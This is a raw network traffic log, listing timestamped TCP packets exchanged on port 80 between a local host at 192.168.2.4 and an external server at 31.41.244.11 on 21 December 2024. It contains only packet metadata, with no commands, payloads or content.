Dec 21, 2024 18:16:27.502095938 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.502118111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.502171993 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.504650116 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.504708052 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.504802942 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.504856110 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.507626057 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.507729053 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.507857084 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.507911921 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.510180950 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.510235071 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.510277033 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.510329008 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.512888908 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.512928009 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.512943983 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.512974024 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.515485048 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.515548944 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.515574932 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.515620947 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.518717051 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.518836975 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.518889904 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.518944025 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.521631956 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.521687031 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.521692991 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.521740913 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.523833036 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.523888111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.523899078 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.523941040 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.526061058 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.526120901 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.526144981 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.526205063 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.528779030 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.528889894 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.529027939 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.529079914 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.531461000 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.531517029 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.531548977 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.531600952 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.534168005 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.534223080 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.534223080 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.534267902 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.536863089 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.536915064 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.537050962 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.537097931 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.539575100 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.539658070 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.539678097 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.539731026 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.542303085 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.542363882 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.542370081 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.542421103 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.545010090 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.545066118 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.545067072 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.545116901 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.547573090 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.547627926 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.547722101 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.547774076 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.550379992 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.550482988 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.550563097 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.550616980 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.552917957 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.552970886 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.552973986 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.553024054 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.555856943 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.555922985 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.555936098 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.555979967 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.558260918 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.558325052 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.558379889 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.558435917 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.561244965 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.561284065 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.561302900 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.561331987 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.563858986 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.563915014 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.564018011 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.564069033 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.566272020 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.566330910 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.566395044 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.566448927 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.569261074 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.569315910 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.569323063 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.569366932 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.571923018 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.571975946 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.571985960 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.572024107 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.574556112 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.574621916 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.574647903 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.574702978 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.577223063 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.577277899 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.577281952 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.577323914 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.579802036 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.579862118 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.579914093 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.579966068 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.582766056 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.582818985 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.582823038 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.582874060 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.585154057 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.585218906 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.585267067 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.585324049 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.587719917 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.587774992 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.587799072 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.587852955 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.590394020 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.590461969 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.590868950 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.590934038 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.593091011 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.593149900 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.593166113 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.593221903 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.674314022 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.674369097 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.674390078 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.674429893 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.675507069 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.675582886 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.675597906 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.675646067 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.678231955 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.678298950 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.678323030 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.678375959 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.681046963 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.681111097 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.681135893 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.681190014 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.683732986 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.683788061 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.683798075 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.683834076 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.686738968 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.686794043 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.686798096 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.686847925 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.689028978 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.689083099 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.689090014 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.689138889 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.691771984 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.691824913 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.691828012 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.691873074 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.694278002 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.694355965 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.694367886 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.694427967 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.697007895 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.697076082 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.697097063 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.697154999 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.699656963 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.699712992 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.699744940 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.699800968 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.702481031 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.702536106 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.702548027 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.702584028 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.705056906 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.705095053 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.705111027 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.705140114 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.707679033 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.707743883 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.707767010 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.707828045 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.710427046 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.710491896 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.710639954 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.710699081 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.712982893 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.713041067 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.713088036 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.713143110 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.716541052 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.716660976 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.716682911 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.716738939 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.718497992 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.718555927 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.718585968 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.718637943 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.795589924 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.795645952 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.795672894 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.795691967 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.796768904 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.796822071 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.796834946 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.796869993 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.799387932 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.799449921 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.799470901 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.799524069 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.802280903 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.802336931 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.802346945 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.802383900 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.804606915 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.804677010 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.804677963 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.804727077 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.807369947 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.807426929 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.807761908 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.807863951 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.809847116 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.810000896 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.810051918 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.810112000 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.812483072 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.812545061 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.812594891 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.812649965 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.815141916 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.815196991 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.815272093 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.815382957 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.817934990 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.817991972 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.818011999 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.818043947 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.820779085 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.820861101 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.821211100 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.821266890 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.823896885 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.823935986 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.823956966 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.823982000 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.825977087 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.826036930 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.826122046 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.826179028 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.828630924 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.828691959 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.828761101 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.828818083 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.831500053 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.831556082 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.831592083 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.831623077 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.833878994 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.833957911 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.834163904 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.834218025 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.836812973 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.836869955 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.836889029 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.836930990 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.839230061 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.839293957 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.839354038 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.839404106 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.840739965 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.840790987 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.840850115 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.840938091 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.842251062 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.842310905 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.842363119 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.842411041 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.843736887 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.843791008 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.843871117 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.843923092 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.845199108 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.845294952 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.845319033 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.845362902 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.846710920 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.846817970 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.846826077 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.846877098 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.848258018 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.848314047 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.848323107 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.848381042 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.849622011 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.849677086 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.849747896 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.849795103 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.851145029 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.851196051 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.851310015 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.851365089 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.852592945 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.852649927 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.852710962 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.852770090 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.854182959 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.854240894 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.854248047 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.854294062 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.855621099 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.855684042 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.855690956 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.855747938 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.857038021 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.857136011 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.857152939 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.857192993 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.858556032 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.858616114 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.858664989 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.858722925 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.860151052 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.860200882 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.860275030 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.860336065 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.861612082 CET	80	49808	31.41.244.11	192.168.2.4
